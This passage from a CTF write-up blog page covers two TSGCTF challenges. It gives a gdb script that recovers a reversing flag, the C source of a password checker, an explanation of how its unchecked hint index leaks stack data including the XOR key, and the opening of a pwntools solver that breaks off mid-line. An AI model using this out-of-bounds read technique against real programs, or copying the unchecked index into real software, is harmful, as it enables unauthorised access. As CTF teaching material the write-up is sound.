570w\"\n              sizes=\"(max-width: 570px) 100vw, 570px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/04482160f8e9a922b4ecdf2ed9cc2ca6/8ff5a/image-20241214172627627.png 240w,\n/static/04482160f8e9a922b4ecdf2ed9cc2ca6/e85cb/image-20241214172627627.png 480w,\n/static/04482160f8e9a922b4ecdf2ed9cc2ca6/432e7/image-20241214172627627.png 570w\"\n            sizes=\"(max-width: 570px) 100vw, 570px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/04482160f8e9a922b4ecdf2ed9cc2ca6/432e7/image-20241214172627627.png\"\n            alt=\"image-20241214172627627\"\n            title=\"image-20241214172627627\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>In the end, by using the following solver to extract each key generated when the correct flag string was entered 4 bytes at a time, I was able to identify the correct flag.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token comment\"># gdb -x run.py</span>\n<span class=\"token keyword\">import</span> gdb\n<span class=\"token keyword\">import</span> ctypes\n<span class=\"token keyword\">from</span> pprint <span class=\"token keyword\">import</span> pprint\n\nBINDIR <span class=\"token operator\">=</span> <span class=\"token string\">\"./\"</span>\nBIN <span class=\"token operator\">=</span> <span class=\"token string\">\"misbehave\"</span>\nINPUT <span class=\"token operator\">=</span> <span class=\"token string\">\"./in.txt\"</span>\nOUTPUT <span class=\"token operator\">=</span> <span class=\"token string\">\"./out.txt\"</span>\nBREAK <span class=\"token operator\">=</span> <span class=\"token string\">\"*(main+74)\"</span>\n\nN <span class=\"token operator\">=</span> <span class=\"token number\">11</span>\n<span class=\"token keyword\">with</span> <span class=\"token builtin\">open</span><span class=\"token punctuation\">(</span>INPUT<span class=\"token punctuation\">,</span> <span class=\"token string\">\"w\"</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">as</span> f<span class=\"token punctuation\">:</span>\n    f<span class=\"token punctuation\">.</span>write<span class=\"token punctuation\">(</span><span class=\"token string\">\"TSGCTF{h1dd3n_func7i0n_4nd_s31f_g07_0verwr17\"</span> <span class=\"token operator\">+</span> <span class=\"token string\">\"A\"</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x30</span><span class=\"token operator\">-</span><span class=\"token number\">4</span><span class=\"token operator\">*</span>N<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">with</span> <span class=\"token builtin\">open</span><span class=\"token punctuation\">(</span>OUTPUT<span class=\"token punctuation\">,</span> <span class=\"token string\">\"w\"</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">as</span> f<span class=\"token punctuation\">:</span>\n    f<span class=\"token punctuation\">.</span>write<span class=\"token punctuation\">(</span><span class=\"token string\">\"A\"</span><span class=\"token operator\">*</span><span class=\"token number\">0x30</span><span class=\"token punctuation\">)</span>\n\ngdb<span class=\"token punctuation\">.</span>execute<span class=\"token punctuation\">(</span><span class=\"token string\">'file {}/{}'</span><span class=\"token punctuation\">.</span><span class=\"token builtin\">format</span><span class=\"token punctuation\">(</span>BINDIR<span class=\"token punctuation\">,</span> BIN<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\ngdb<span class=\"token punctuation\">.</span>execute<span class=\"token punctuation\">(</span><span class=\"token string\">'b {}'</span><span class=\"token punctuation\">.</span><span class=\"token builtin\">format</span><span class=\"token punctuation\">(</span>BREAK<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\ngdb<span class=\"token punctuation\">.</span>execute<span class=\"token punctuation\">(</span><span class=\"token string\">'run &lt; {}'</span><span class=\"token punctuation\">.</span><span class=\"token builtin\">format</span><span class=\"token punctuation\">(</span>INPUT<span class=\"token punctuation\">,</span> OUTPUT<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\nflag_enc <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token number\">0x906f6020</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xf38f77ae</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x5ea509fc</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x51396bdd</span><span class=\"token punctuation\">,</span>\n<span class=\"token number\">0x5e6efddf</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x858860a8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x5295d7bc</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xf382e975</span><span class=\"token punctuation\">,</span>\n<span class=\"token number\">0x9504a2b7</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x675c0e4a</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xbf138153</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xc1706134</span><span class=\"token punctuation\">]</span>\n\n<span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">12</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    <span class=\"token keyword\">if</span> i <span class=\"token operator\">==</span> N<span class=\"token punctuation\">:</span>\n        rand_val <span class=\"token operator\">=</span> ctypes<span class=\"token punctuation\">.</span>c_int32<span class=\"token punctuation\">(</span><span class=\"token builtin\">int</span><span class=\"token punctuation\">(</span>gdb<span class=\"token punctuation\">.</span>parse_and_eval<span class=\"token punctuation\">(</span><span class=\"token string\">\"$eax\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>value <span class=\"token operator\">&amp;</span> <span class=\"token number\">0xFFFFFFFF</span>\n        <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">hex</span><span class=\"token punctuation\">(</span>rand_val<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n        <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">hex</span><span class=\"token punctuation\">(</span>\n            rand_val <span class=\"token operator\">^</span> flag_enc<span class=\"token punctuation\">[</span>N<span class=\"token punctuation\">]</span>\n        <span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    gdb<span class=\"token punctuation\">.</span>execute<span class=\"token punctuation\">(</span><span class=\"token string\">\"continue\"</span><span class=\"token punctuation\">)</span>\n\ngdb<span class=\"token punctuation\">.</span>execute<span class=\"token punctuation\">(</span><span class=\"token string\">\"quit\"</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># TSGCTF{h1dd3n_func7i0n_4nd_s31f_g07_0verwr173}</span></code></pre></div>\n<h2 id=\"password-ate-quiz-pwn\" style=\"position:relative;\"><a href=\"#password-ate-quiz-pwn\" aria-label=\"password ate quiz pwn permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Password-Ate-Quiz (Pwn)</h2>\n<blockquote>\n<p>It looks like you will be told the flag if you enter the correct password.</p>\n</blockquote>\n<p>The challenge provides the following C code and compiled ELF file as the binary.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">include</span> <span class=\"token string\">&lt;stdio.h></span></span>\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">include</span> <span class=\"token string\">&lt;stdlib.h></span></span>\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">include</span> <span class=\"token string\">&lt;string.h></span></span>\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">include</span> <span class=\"token string\">&lt;time.h></span></span>\n\n<span class=\"token keyword\">void</span> <span class=\"token function\">crypting</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span> <span class=\"token keyword\">long</span><span class=\"token operator\">*</span> secret<span class=\"token punctuation\">,</span> <span class=\"token class-name\">size_t</span> len<span class=\"token punctuation\">,</span> <span class=\"token keyword\">long</span> <span class=\"token keyword\">long</span> key<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n<span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">int</span> i <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span> i <span class=\"token operator\">&lt;</span> <span class=\"token punctuation\">(</span>len <span class=\"token operator\">-</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">/</span> <span class=\"token number\">8</span> <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span> i<span class=\"token operator\">++</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\nsecret<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> secret<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> key<span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token keyword\">void</span> <span class=\"token function\">output_flag</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n<span class=\"token keyword\">char</span> flag<span class=\"token punctuation\">[</span><span class=\"token number\">100</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\nFILE <span class=\"token operator\">*</span>fd <span class=\"token operator\">=</span> <span class=\"token function\">fopen</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"./flag.txt\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"r\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>fd <span class=\"token operator\">==</span> <span class=\"token constant\">NULL</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n<span class=\"token function\">puts</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Could not open \\\"flag.txt\\\"\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token function\">exit</span><span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token function\">fscanf</span><span class=\"token punctuation\">(</span>fd<span class=\"token punctuation\">,</span> <span class=\"token string\">\"%99s\"</span><span class=\"token punctuation\">,</span> flag<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token function\">printf</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"%s\\n\"</span><span class=\"token punctuation\">,</span> flag<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token keyword\">int</span> <span class=\"token function\">main</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n<span class=\"token function\">setvbuf</span><span class=\"token punctuation\">(</span><span class=\"token constant\">stdout</span><span class=\"token punctuation\">,</span> <span class=\"token constant\">NULL</span><span class=\"token punctuation\">,</span> _IONBF<span class=\"token punctuation\">,</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token keyword\">char</span> hints<span class=\"token punctuation\">[</span><span class=\"token number\">3</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">[</span><span class=\"token number\">8</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">{</span><span class=\"token string\">\"Hint1:T\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"Hint2:S\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"Hint3:G\"</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">char</span> password<span class=\"token punctuation\">[</span><span class=\"token number\">0x20</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">char</span> input<span class=\"token punctuation\">[</span><span class=\"token number\">0x20</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n\n\n<span class=\"token function\">srand</span><span class=\"token punctuation\">(</span><span class=\"token function\">time</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">long</span> <span class=\"token keyword\">long</span> key <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span> <span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span><span class=\"token function\">rand</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">32</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">|</span> <span class=\"token function\">rand</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\nFILE <span class=\"token operator\">*</span>fd <span class=\"token operator\">=</span> <span class=\"token function\">fopen</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"password.txt\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"r\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>fd <span class=\"token operator\">==</span> <span class=\"token constant\">NULL</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n<span class=\"token function\">puts</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Could not open \\\"password.txt\\\"\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token function\">exit</span><span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token function\">fscanf</span><span class=\"token punctuation\">(</span>fd<span class=\"token punctuation\">,</span> <span class=\"token string\">\"%31s\"</span><span class=\"token punctuation\">,</span> password<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token class-name\">size_t</span> length <span class=\"token operator\">=</span> <span class=\"token function\">strlen</span><span class=\"token punctuation\">(</span>password<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token function\">crypting</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span> <span class=\"token keyword\">long</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>password<span class=\"token punctuation\">,</span> <span class=\"token number\">0x20</span><span class=\"token punctuation\">,</span> key<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token function\">printf</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Enter the password > \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token function\">scanf</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"%31s\"</span><span class=\"token punctuation\">,</span> input<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token function\">crypting</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span> <span class=\"token keyword\">long</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>input<span class=\"token punctuation\">,</span> <span class=\"token number\">0x20</span><span class=\"token punctuation\">,</span> key<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token function\">memcmp</span><span class=\"token punctuation\">(</span>password<span class=\"token punctuation\">,</span> input<span class=\"token punctuation\">,</span> length <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">==</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n<span class=\"token function\">puts</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"OK! Here's the flag!\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token function\">output_flag</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token function\">exit</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token function\">puts</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Authentication failed.\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token function\">puts</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"You can get some hints.\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n<span class=\"token keyword\">int</span> idx<span class=\"token punctuation\">;</span>\n<span class=\"token function\">printf</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Enter a hint number (0~2) > \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token function\">scanf</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"%d\"</span><span class=\"token punctuation\">,</span> <span class=\"token operator\">&amp;</span>idx<span class=\"token punctuation\">)</span> <span class=\"token operator\">==</span> <span class=\"token number\">1</span> <span class=\"token operator\">&amp;&amp;</span> idx <span class=\"token operator\">>=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n<span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">int</span> i <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span> i <span class=\"token operator\">&lt;</span> <span class=\"token number\">8</span><span class=\"token punctuation\">;</span> i<span class=\"token operator\">++</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n<span class=\"token function\">putchar</span><span class=\"token punctuation\">(</span>hints<span class=\"token punctuation\">[</span>idx<span class=\"token punctuation\">]</span><span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token function\">puts</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n<span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span><span class=\"token function\">getchar</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token operator\">!=</span><span class=\"token char\">'\\n'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token function\">printf</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Enter the password > \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token function\">scanf</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"%31s\"</span><span class=\"token punctuation\">,</span> input<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token function\">crypting</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span> <span class=\"token keyword\">long</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>input<span class=\"token punctuation\">,</span> <span class=\"token number\">0x20</span><span class=\"token punctuation\">,</span> key<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token function\">memcmp</span><span class=\"token punctuation\">(</span>password<span class=\"token punctuation\">,</span> input<span class=\"token punctuation\">,</span> length <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">==</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n<span class=\"token function\">puts</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"OK! Here's the flag!\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token function\">output_flag</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n<span class=\"token function\">puts</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Authentication failed.\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token keyword\">return</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>Reading this code, you can see that the correct password and the input value are both XOR-encrypted with a randomly generated 8-byte key, and the flag is displayed only when the results match.</p>\n<p>Also, conveniently, this program lets you view hints for the password after entering an incorrect password once, and then gives you another chance to enter the password afterward.</p>\n<p>The part that displays those password hints is implemented as follows.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token keyword\">char</span> hints<span class=\"token punctuation\">[</span><span class=\"token number\">3</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">[</span><span class=\"token number\">8</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">{</span><span class=\"token string\">\"Hint1:T\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"Hint2:S\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"Hint3:G\"</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">char</span> password<span class=\"token punctuation\">[</span><span class=\"token number\">0x20</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">char</span> input<span class=\"token punctuation\">[</span><span class=\"token number\">0x20</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">int</span> idx<span class=\"token punctuation\">;</span>\n    <span class=\"token function\">printf</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Enter a hint number (0~2) > \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token function\">scanf</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"%d\"</span><span class=\"token punctuation\">,</span> <span class=\"token operator\">&amp;</span>idx<span class=\"token punctuation\">)</span> <span class=\"token operator\">==</span> <span class=\"token number\">1</span> <span class=\"token operator\">&amp;&amp;</span> idx <span class=\"token operator\">>=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">int</span> i <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span> i <span class=\"token operator\">&lt;</span> <span class=\"token number\">8</span><span class=\"token punctuation\">;</span> i<span class=\"token operator\">++</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            <span class=\"token function\">putchar</span><span class=\"token punctuation\">(</span>hints<span class=\"token punctuation\">[</span>idx<span class=\"token punctuation\">]</span><span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span>\n        <span class=\"token function\">puts</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>Because the code above imposes no restriction on the range of <code class=\"language-text\">idx</code> other than <code class=\"language-text\">idx >= 0</code>, it has an obvious vulnerability that allows out-of-bounds access to information on the stack.</p>\n<p>Also, the information that can be accessed by exploiting this vulnerability is expected to include stack data containing the encrypted <code class=\"language-text\">password</code> and the input value.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 619px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/9a56b7ec29930da3d0c9908001971b1d/e628c/image-20241215000026692.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 27.500000000000004%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAABTElEQVQY0z2Q23KCQBBEeQohBqRYbkHlLuGOCCQoqJiU/v8fdZaNyUNXb03NzpxpbnR8FLaLLM+RJAmyNIZrG1BkAaqyAKGSpFfIsgxNVUEIgfpwRVGwXC6Z/7258XxGfzjgeDzAMC3ohEebC0yfpYDjjqcLCIqiwvf3F4ZhwDRNuN/vaJoGruui6zrs93vYtg2ua1tUZckKhGggMo8qfkHxLqCk+iifsbZk+H7ILoiiiHmapnAch5F6nocgCGCaJiUcR7apbRvEcYYoMFAnPJpMQFcIGGoevqNhvXHg048zxWq1or0xwjBk2m63rCZJEriWEpaUcLfb0eIGpi6iiH7pqligw2dCBYbxhpzmXNc1G5Y/Mrcs6z8/URTBXS4X9H2P0+lEkVc0wyeW3Uw4+9Tx8GiGcZLher3idrux/vl0XdfZyZqmMS0WC/wAt0GomfWptOAAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/9a56b7ec29930da3d0c9908001971b1d/8ac56/image-20241215000026692.webp 240w,\n/static/9a56b7ec29930da3d0c9908001971b1d/d3be9/image-20241215000026692.webp 480w,\n/static/9a56b7ec29930da3d0c9908001971b1d/3aa79/image-20241215000026692.webp 619w\"\n              sizes=\"(max-width: 619px) 100vw, 619px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/9a56b7ec29930da3d0c9908001971b1d/8ff5a/image-20241215000026692.png 240w,\n/static/9a56b7ec29930da3d0c9908001971b1d/e85cb/image-20241215000026692.png 480w,\n/static/9a56b7ec29930da3d0c9908001971b1d/e628c/image-20241215000026692.png 619w\"\n            sizes=\"(max-width: 619px) 100vw, 619px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/9a56b7ec29930da3d0c9908001971b1d/e628c/image-20241215000026692.png\"\n            alt=\"image-20241215000026692\"\n            title=\"image-20241215000026692\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Unfortunately, I could not use this vulnerability to read the stack address that stored the key used by the encryption function, but I quickly realized that by making the input value <code class=\"language-text\">\\x00</code>, the original XOR key itself is effectively placed in the stack region for <code class=\"language-text\">input</code> as-is.</p>\n<p>Therefore, by using the following solver to extract the encrypted password and the XOR key used for encryption, I was able to identify the correct password and obtain the flag.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">import</span> binascii<span class=\"token punctuation\">,</span>struct\n<span class=\"token keyword\">from</span> pwn <span class=\"token keyword\">import</span> <span class=\"token operator\">*</span>\n\n<span class=\"token comment\"># Set context</span>\n<span class=\"token comment\"># context.log_level = \"debug\"</span>\ncontext<span class=\"token punctuation\">.</span>arch <span class=\"token operator\">=</span> <span class=\"token string\">\"amd64\"</span>\ncontext<span class=\"token punctuation\">.</span>endian <span class=\"token operator\">=</span> <span class=\"token string\">\"little\"</span>\ncontext<span class=\"token punctuation\">.</span>word_size <span class=\"token operator\">=</span> <span class=\"token number\">64</span>\ncontext<span class=\"token punctuation\">.</span>terminal <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token string\">\"/mnt/c/Windows/system32/cmd.exe\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"/c\"</span><span class=\"token punctuation\">,</span> <span class=\"token 